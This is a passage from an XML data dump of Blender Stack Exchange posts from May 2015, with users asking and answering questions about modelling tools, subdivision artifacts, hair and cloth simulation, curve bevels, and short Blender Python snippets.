  <row Id="29216" PostTypeId="2" ParentId="29204" CreationDate="2015-05-01T10:09:08.727" Score="0" Body="&lt;p&gt;You can try the Knife tool: in edit mode, press K, then clic ond the start point, end point, enter to confirm.&#xA;Start and end need to be on a pre-existing vertex or edge.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yxqWw.png&quot; alt=&quot;K (Knife Tool)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-05-01T10:09:08.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29217" PostTypeId="2" ParentId="29198" CreationDate="2015-05-01T10:33:55.267" Score="1" Body="&lt;p&gt;As you can read on the upper right corner of your window, you,ve got 29.641 vertex, it's not enough for fine details. Try subdividing until you reach 1.000.000.&#xA;In object mode switch to &quot;Smooth Shading&quot;.&#xA;If the computer gets slow, subdivide you model in different objects (P key in edit mode mode), and sculpt them one by one, using the multiresolution modifier to swithc between different levels of details.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-05-01T10:33:55.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29218" PostTypeId="1" CreationDate="2015-05-01T11:58:58.930" Score="10" ViewCount="4462" Body="&lt;p&gt;I rendered a 80 frame test animation in jpeg format. Used Blender to create the movie. The output format is mp4. The bottom image shows the first of the rendered image on the left extreme. The image at the center in the snapshot from the video rendered using those frames. The last one on the right is the snapshot of the video rendered as another video (did it to combine multiple videos).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WcoZh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to avoid these gradient bands?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS:This is regarding rendering of video using video sequence editor. I tried out increasing dithering value till 2, but still the bands are appearing in the rendered video&lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="2217" LastEditDate="2015-05-03T23:59:20.043" LastActivityDate="2016-01-03T22:27:43.913" Title="How to avoid gradient banding while using a video sequence editor?" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;video&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29219" PostTypeId="1" CreationDate="2015-05-01T12:05:47.093" Score="5" ViewCount="549" Body="&lt;p&gt;I'm working on an armchair, and I recently applied the Subsurf modifier to it. All was well until I noticed an irregularity that I simply cannot fix, here's a picture with and without the subsurf:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1YgDF.png&quot; alt=&quot;Example image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was wondering how I could take it away? Here's a link to the &lt;a href=&quot;http://www.pasteall.org/blend/35847&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;.blend&lt;/strong&gt;&lt;/a&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="14101" LastEditorUserId="47" LastEditDate="2015-05-01T12:50:57.360" LastActivityDate="2015-05-01T19:12:16.877" Title="Subsurf modifier creating mesh irregularities" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29220" PostTypeId="2" ParentId="28294" CreationDate="2015-05-01T12:08:25.363" Score="2" Body="&lt;p&gt;You can do this on an object by object basis quite easily, there is a built in feature specifically for Level Of Detail configuration. Under the &lt;em&gt;Object&lt;/em&gt; tab in the &lt;em&gt;Properties&lt;/em&gt; panel, you will see a Level of Detail menu. Click &lt;em&gt;Add&lt;/em&gt;, then select the mesh you want from the dropdown and set the distance you want it to become visible at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EOEVa.jpg&quot; alt=&quot;Level Of Detail&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-05-01T12:08:25.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29221" PostTypeId="1" AcceptedAnswerId="29252" CreationDate="2015-05-01T12:12:01.123" Score="5" ViewCount="3216" Body="&lt;p&gt;I am aware of &lt;a href=&quot;https://blender.stackexchange.com/questions/9158/is-it-possible-to-use-a-texture-to-control-the-size-of-particles/9162#9162&quot;&gt;this question&lt;/a&gt;, however it appears to be for Blender Internal exclusively. Is there a way to do this in Cycles (Blender 2.7+)? And would an animated texture work as well?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-06-15T06:16:52.483" Title="Is it possible to drive the length of hair particles via texture using Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29222" PostTypeId="2" ParentId="29219" CreationDate="2015-05-01T12:18:29.907" Score="4" Body="&lt;p&gt;first steps are always: Remove Doubles, Recalc Normals. Then look around the mesh in Object mode without modifiers on to see if you have any double edges (they will show up as wires even in Object mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here another problem is you have a whopping non-planar Ngon, a polygon with more than 4 verts, for the side. The ngon isn't flat, if you look carefully it tapers away into the back-rest (visible on the bottom left view). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1txNA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ngons as best avoided with subsurf, and especially avoid using them on areas that are non-planar. Why avoid them? Because you have no control over the underlying triangles, the ngon has abstracted away the real geometry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the hood the real geometry of that ngon might look something like  this, and that is a problem for subsurf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vLwoM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't quite know what &quot;planar&quot; is, then imagine a sheet of paper, placed on a table. it is perfectly flat. now if you make one fold in it, and try to press it back into place - you know the fold will stay visible for a very long time, maybe forever. The sheet of paper has a discontinuity, the corner of that fold no longer lies on the same plane as the other corners. There will always be a bend. In geometry imagine something similar is happening when you join an edgeloop which isn't planar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to guide your geometry at the back and maybe make an extra edge-loop. Fill this gap a different way. But exactly how depends a lot on the final shape you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8uesN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;assert some control over the underlying geometry of that side, and remove doubles, and you'll get reasonable results. adjust to taste of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cy9HI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-01T12:56:36.830" LastActivityDate="2015-05-01T12:56:36.830" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29223" PostTypeId="2" ParentId="29151" CreationDate="2015-05-01T12:34:10.807" Score="1" Body="&lt;p&gt;Go to the properties window.&#xA;Select the modifiers tab.&#xA;Apply the mirror modifier.&#xA;Then you can do the skinning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UZijP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-05-01T12:34:10.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29225" PostTypeId="1" AcceptedAnswerId="29227" CreationDate="2015-05-01T13:55:57.093" Score="1" ViewCount="220" Body="&lt;p&gt;I need a lot of independent planes (like 200x300), but creating them programmatically with a loop took a lot of time (with &lt;code&gt;bpy.ops.mesh.primitive_plane()&lt;/code&gt; or with vertices and faces). But creating one grid with subdivisions is very cheap. My problem is, that the vertices of the subdivision planes are connected and i need them independent (having each inner vertice four times).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i would ask you, if there is an option to divide an grid in many independent planes?&lt;/p&gt;&#xA;" OwnerUserId="14054" LastActivityDate="2015-05-01T14:02:55.873" Title="Grid to many planes?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-01T21:15:21.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="29226" PostTypeId="1" CreationDate="2015-05-01T14:00:36.963" Score="5" ViewCount="849" Body="&lt;p&gt;From node tree type, I can easily group nodes by easily add Frame (layout&gt;frame). However I use Sverchok add one in which there is no such layout like node tree type at all. &lt;/p&gt;&#xA;" OwnerUserId="14104" LastEditorUserId="47" LastEditDate="2015-11-22T20:40:31.697" LastActivityDate="2016-09-03T09:05:32.577" Title="How to group nodes in Sverchok?" Tags="&lt;nodes&gt;&lt;add-on&gt;&lt;groups&gt;&lt;sverchok&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29227" PostTypeId="2" ParentId="29225" CreationDate="2015-05-01T14:02:55.873" Score="1" Body="&lt;p&gt;you can use the edge split operator to divide the grid into individual squares , then you can separate them by loose parts , here is the lines that do that :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        bpy.ops.object.mode_set(mode = 'EDIT')&#xA;        bpy.ops.mesh.select_all(action = 'SELECT')        &#xA;        bpy.ops.mesh.edge_split()&#xA;        bpy.ops.mesh.separate(type = 'LOOSE')&#xA;        bpy.ops.object.editmode_toggle()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-01T14:02:55.873" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="29229" PostTypeId="2" ParentId="29226" CreationDate="2015-05-01T14:09:36.413" Score="6" Body="&lt;p&gt;Select the nodes you want to group and click &lt;strong&gt;Create a node group&lt;/strong&gt; .&lt;br&gt;&#xA;To put nodes in a frame select them then hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U1Tn4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-01T14:22:23.833" LastActivityDate="2015-05-01T14:22:23.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29230" PostTypeId="2" ParentId="27219" CreationDate="2015-05-01T14:10:01.803" Score="1" Body="&lt;p&gt;Yeah this is a really good question. Out of the four main physics units I've tried, them being Clothify, Soft Body, Particle Emission and Hair, the hair seems to be the type with the least consistency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the broadest terms, you would think the problem posed above would produce no problem, what with the way the system has handled during numerous tests over the past few days. Even in Particle Edit mode, moving a hair strand across a solid plane or face will cause the hair to refuse to pass through; instead it will stick to the surface. Whether there is an issue with the physics engine that has yet to be addressed or something we're both missing, I don't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the best solution to your issue, the only thing I can come up with would be to duplicate the objects for the moment, add a &quot;collision&quot; physics to both the body and clothing objects and then let the simulation run for a frame or two. Then, with the particle system selected, go into particle edit mode and start dragging, preening, cutting and replacing hairs in the system in keeping with the desired outcome. It would probably be best if any &quot;quality&quot; values in the particle system are kept as high as your system can handle and the number of segments likewise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to this, under the &quot;Hair Dynamics&quot;, try adjusting the mass down as well as the stiffness and damping up to reduce too much movement on the ends. If all else fails, go into weight paint mode on the mesh's particle system and start increasing the weight on the more annoying and wayward hair strands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="13895" LastActivityDate="2015-05-01T14:10:01.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29231" PostTypeId="2" ParentId="2253" CreationDate="2015-05-01T14:33:41.777" Score="31" Body="&lt;p&gt;On modern Mac OS X, it seems you can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Two-finger vertical scroll to rotate along horizontal axis perpendicular to view&lt;/li&gt;&#xA;&lt;li&gt;Two-finger &quot;spin&quot; to rotate around up axis&#xA;or Two-finger horizontal scroll to rotate around up axis&lt;/li&gt;&#xA;&lt;li&gt;Two-finger pinch to zoom&lt;/li&gt;&#xA;&lt;li&gt;or &lt;kbd&gt;CTRL&lt;/kbd&gt; + two-finger vertical/horizontal scroll to zoom&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt; + two-finger vertical scroll to pan along up axis&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt; + two-finger vertical scroll to pan along horizontal axis perpendicular to view&lt;/li&gt;&#xA;&lt;li&gt;RIGHT click and drag to translate selected object&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;CTRL&lt;/kbd&gt; click and drag to lasso select&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14106" LastEditorUserId="15795" LastEditDate="2016-12-23T03:42:14.150" LastActivityDate="2016-12-23T03:42:14.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29232" PostTypeId="2" ParentId="27219" CreationDate="2015-05-01T16:07:39.350" Score="6" Body="&lt;p&gt;You can't just turn on collision on the object and expect it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how u do it: first of all create your hair particle system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next turn on &lt;em&gt;Hair Dynamics&lt;/em&gt; and turn on collision on the object.&#xA;Now go to the mesh with collision on and turn up the &quot;soft body and cloth&quot; outer and inner paramaters to say around 5 for both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can go back to the hair and turn up the steps to about 40 in the &lt;em&gt;Dynamics&lt;/em&gt; tab. Now you should have good collision without the other nonsense. Also be careful when changing the other paramaters, it can slow everthing down tremendously.&lt;/p&gt;&#xA;" OwnerUserId="14107" LastEditorUserId="6204" LastEditDate="2015-05-01T16:35:47.190" LastActivityDate="2015-05-01T16:35:47.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29233" PostTypeId="2" ParentId="7359" CreationDate="2015-05-01T16:11:48.093" Score="3" Body="&lt;p&gt;Getting the location is very easy but getting the rotation is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if you need the leaves to be rotated exactly as sapling generates them, but there is another way to achieve a very similiar result (if not even better) and have all leaves instanced.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Go into edit mode -&gt; select all faces -&gt; press &lt;kbd&gt;P&lt;/kbd&gt;&gt; &lt;em&gt;By loose paths&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uvtbe.jpg&quot; alt=&quot;Go into edit mode -&amp;gt; select all faces -&amp;gt; press P -&amp;gt; By loose paths&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To recalculate origins, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and select &lt;code&gt;Origin to Center of Mass&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ENd92.jpg&quot; alt=&quot;To recalculate origins, press Shift+Ctrl+Alt+C and select Origin to Center of Mass&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now link all the objects to one leaf with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HyIin.jpg&quot; alt=&quot;Now link all the objects to one leaf with Ctrl+L&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Before the next step, it is important to hide everything because we will be using Proportional editing in object mode to randomize the rotations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cGGyh.jpg&quot; alt=&quot;Before the next step, it is important to hide everything because we will be using Proportional editing in object mode to randomize the rotations&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Turn on Proportional editing (blue circle or shortcut &lt;kbd&gt;O&lt;/kbd&gt;) and set its Falloff to Random&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WkB2z.jpg&quot; alt=&quot;Turn on Proportional editing (blue circle or shortcut O) and set it&amp;#39;s Falloff to Random&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You also need to set the Pivot Point to Individual Centers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E9fvj.jpg&quot; alt=&quot;You also need to set the Pivot Point to Individual Centers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then it's time to rotate either way you wish, rotation of the other visible objects will be randomized. This is the result after hitting &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; to unhide the trunk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aj3BX.jpg&quot; alt=&quot;Then it&amp;#39;s time to rotate either way you wish, rotation of the other visible objects will be randomized. This is the result after hitting Alt+H to unhide the trunk&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This step is just an extra, to hide all the dotted black lines (relationship lines) you can uncheck them in the 3D View's &lt;kbd&gt;N&lt;/kbd&gt; menu under the &lt;em&gt;Display&lt;/em&gt; tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2WSFG.jpg&quot; alt=&quot;This step is just an extra, to hide all the dotted black lines (relationship lines) you can uncheck them in the 3D View&amp;#39;s N menu under Display tab&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you elaborate why you need this? Maybe there's a different solution to the problem and this is an unnecessary step. For example you can get the rotation data through &lt;em&gt;Geometry&lt;/em&gt; &gt; &lt;em&gt;Normal&lt;/em&gt; in the node editor for setting up materials.&lt;/p&gt;&#xA;" OwnerUserId="4859" LastEditorUserId="25" LastEditDate="2015-12-14T05:56:55.183" LastActivityDate="2015-12-14T05:56:55.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29234" PostTypeId="1" CreationDate="2015-05-01T16:26:47.910" Score="5" ViewCount="1174" Body="&lt;p&gt;I am bevelling a simple circle with another simple circle and as you can see from the screen shot below I have to make the bevel circle incredibly small and I still end up with a very large cross section. I don't understand why the cross section on the bevelled curve isn't the same size a&lt;img src=&quot;https://i.stack.imgur.com/8q6GP.jpg&quot; alt=&quot;enter image description here&quot;&gt;s the bevel curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A6LSk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14108" LastActivityDate="2015-05-09T08:47:58.673" Title="Why do I get large bevels on a curve with such a small bevel object?" Tags="&lt;nurbs-surface&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29235" PostTypeId="2" ParentId="29234" CreationDate="2015-05-01T16:40:33.340" Score="6" Body="&lt;p&gt;You will have to :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;apply the scale &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;select all point of the curve and reset the radius back to 1 :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xDlyQ.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : to avoid applying the scale just set the radius to  1/scale  &lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-01T16:40:33.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29236" PostTypeId="2" ParentId="29234" CreationDate="2015-05-01T16:41:09.060" Score="4" Body="&lt;p&gt;Once you've selected a bevel object, the &lt;code&gt;bevel_depth&lt;/code&gt; and &lt;code&gt;bevel_resolution&lt;/code&gt; parameter doesn't affect the bevel. Rescale the bevel object in Object or Edit mode, and you will see a change in the final geometry that the Curve uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qCzXa.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;and&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nx8et.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-09T08:47:58.673" LastActivityDate="2015-05-09T08:47:58.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29237" PostTypeId="2" ParentId="26593" CreationDate="2015-05-01T16:44:21.687" Score="1" Body="&lt;p&gt;Firstly I would like to state that OpenGL viewport rendering has nothing to do with Cycles rendering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speed of OpenGL viewport rendering depends heavily on your GPU and in some cases (particle/physics/modifier heavy scenes) also on your CPU. There are certain borders that GPU can't get across whatever the setting may be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two solutions that might help you though, altough I am not certain what kind of result are you looking for. Both are diminishing the actual result but the speedup is considerable in certain situations.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Disabling the Anti-Aliasing would improve the speed of the OpenGL rendering greatly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/13dY4.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You may also think about using Bounding boxes only, if you are trying camera movement or animating a lot of objects and you want to see how their general location and rotation change over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mXgj8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4859" LastActivityDate="2015-05-01T16:44:21.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29239" PostTypeId="1" CreationDate="2015-05-01T17:33:03.663" Score="15" ViewCount="1734" Body="&lt;p&gt;I made an ocean using the ocean modifier, and placed into the ocean a floating object - basin, using this lesson: &lt;a href=&quot;https://www.youtube.com/watch?v=11F1NRpqrzY&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=11F1NRpqrzY&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make water not pass through the bottom of the basin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sJYCW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13958" LastEditDate="2015-05-02T11:08:15.933" LastActivityDate="2015-06-21T22:01:53.937" Title="How to make water not pass through bottom of floating object?" Tags="&lt;modifiers&gt;&lt;ocean-simulation&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29242" PostTypeId="2" ParentId="29219" CreationDate="2015-05-01T19:12:16.877" Score="2" Body="&lt;p&gt;Ok so this is how I solved it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PXnVo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14101" LastActivityDate="2015-05-01T19:12:16.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29244" PostTypeId="1" CreationDate="2015-05-01T20:34:16.910" Score="2" ViewCount="846" Body="&lt;p&gt;I'm making a game where, when a certain even occurs, I want the camera to move up slowly.  When triggered, I have the following Python Script for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;if cont.sensors['Hit Cube'].positive:&#xA;    start = own.worldPosition.z&#xA;    while own.worldPosition.z-start&amp;lt;2:&#xA;        own.worldPosition.z +=.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works for moving the camera up 2 blender units, but it does not smooth the motion at all.  What are some suggestions to accomplish this effect?&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-06-04T15:29:40.490" Title="Smooth Movement" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29245" PostTypeId="1" CreationDate="2015-05-01T20:58:44.157" Score="1" ViewCount="60" Body="&lt;p&gt;I'm trying to rotate my cloud group like in the tutorial I'm following but I can't figure out how to select just the cloud group. I go into the other layer like he does, hit A to select all but I'm lot from there. Here is the tutorial and I'm at &lt;a href=&quot;http://youtu.be/TJ_OcBh7F5I&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://youtu.be/TJ_OcBh7F5I&lt;/a&gt; 33 minutes in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/trTT3.png&quot; alt=&quot;Tutorial Image 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8fCOh.png&quot; alt=&quot;Tutorial image 2, rotating the group to rotate the particles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0TnW3.png&quot; alt=&quot;My second layer and group (clouds&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wHZeg.png&quot; alt=&quot;My first layer w/particles, can&amp;#39;t figure out how to rotate particles through group&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14111" LastEditorUserId="14111" LastEditDate="2015-05-01T22:25:02.083" LastActivityDate="2015-05-01T22:25:02.083" Title="Why Can't rotate cloud group" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29246" PostTypeId="1" AcceptedAnswerId="29247" CreationDate="2015-05-01T21:35:54.520" Score="8" ViewCount="1926" Body="&lt;p&gt;Is it possible to make just part of an object cloth? So for example, I've modeled a trench coat, but I only want the loose bottom half of it to be a cloth simulation. Can I do that?&lt;/p&gt;&#xA;" OwnerUserId="11339" LastEditorUserId="26345" LastEditDate="2018-11-01T06:03:19.853" LastActivityDate="2018-11-01T06:03:19.853" Title="How do I simulate only part of a object as cloth?" Tags="&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29247" PostTypeId="2" ParentId="29246" CreationDate="2015-05-01T21:38:47.333" Score="9" Body="&lt;p&gt;Yes. Use the Pinning vertex group in cloth settings. Any vertices with full weight of 1 will not be affected by the simulation. Partial weight will be partially effected. It is common to use a slight weight gradient for it to work smoothly.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-05-01T21:38:47.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29248" PostTypeId="1" CreationDate="2015-05-01T21:48:54.317" Score="9" ViewCount="4580" Body="&lt;p&gt;Keep in mind that I am almost completely new to blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering how to create a spherical array. I have Googled and Googled, but I can only find ways to make circular arrays (two dimensional arrays).&#xA;Basically I want a way to make an array that simulates the proton and neutron structure of an atom. Atoms have both protons and neutrons in the nucleus, and I want a way to reproduce this using blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zqjjq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in this picture, the Uranium-235 atom has a heck-of-a-lot of protons and neutrons (ignore the one neutron shooting off due to nuclear fission). I do not need the disorganization of the actual protons and neutrons, I just want an array to simulate the structural look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: I am using the latest version of blender (2.74)&lt;/p&gt;&#xA;" OwnerUserId="14114" LastActivityDate="2015-05-02T13:08:02.537" Title="Creating a spherical array" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 